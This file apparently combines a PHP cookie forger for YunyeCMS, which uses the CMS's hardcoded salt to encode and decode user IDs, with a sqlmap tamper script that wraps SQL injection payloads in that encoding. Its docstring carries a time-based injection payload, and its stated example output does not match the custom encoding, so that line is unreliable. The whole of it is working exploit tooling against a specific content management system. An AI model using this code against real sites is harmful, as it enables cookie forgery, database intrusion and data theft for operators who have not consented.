<?php
function yunyecms_strencode($string,$salt='~^y#u%n$y^e*c%m^s^~'){
    return base64_encode(substr(md5($salt),8,18).base64_encode($string).substr(sha1($salt),0,35));
}
function yunyecms_strdecode($string,$salt='~^y#u%n$y^e*c%m^s^~'){
    $retstr=base64_decode($string);
    $SHA1salt=substr(sha1($salt),0,35);
    $md5salt=substr(md5($salt),8,18);
    $retstr=substr($retstr,strlen($md5salt));
    $retstr=substr($retstr,0,(strlen($retstr)-strlen($SHA1salt)));
    return base64_decode($retstr);
}
if ($_GET['cookie']) {
    $string=$_GET['cookie'];
    $userid=yunyecms_strdecode($string);
    echo $userid;
}
if($_GET['userid']){
    $string=$_GET['userid'];
    $cookie=yunyecms_strencode($string);
    echo $cookie;
}

#!/usr/bin/env python

"""
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import base64
import hashlib
from lib.core.enums import PRIORITY
from lib.core.settings import UNICODE_ENCODING

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def md5(data):
    hash_md5 = hashlib.md5(data)
    md5data=hash_md5.hexdigest()[8:18]
    return md5data
def sha1(data):
    string_sha1=hashlib.sha1(data).hexdigest()[0:35]
    return string_sha1

def yunyecms_strencode(string):
    salt='~^y#u%n$y^e*c%m^s^~'
    return base64.b64encode(md5(salt)+base64.b64encode(string)+sha1(salt))
def tamper(payload, **kwargs):
    """
    Base64-encodes all characters in a given payload

    >>> tamper("1' AND SLEEP(5)#")
    'MScgQU5EIFNMRUVQKDUpIw=='
    """

    return yunyecms_strencode(payload) if payload else payload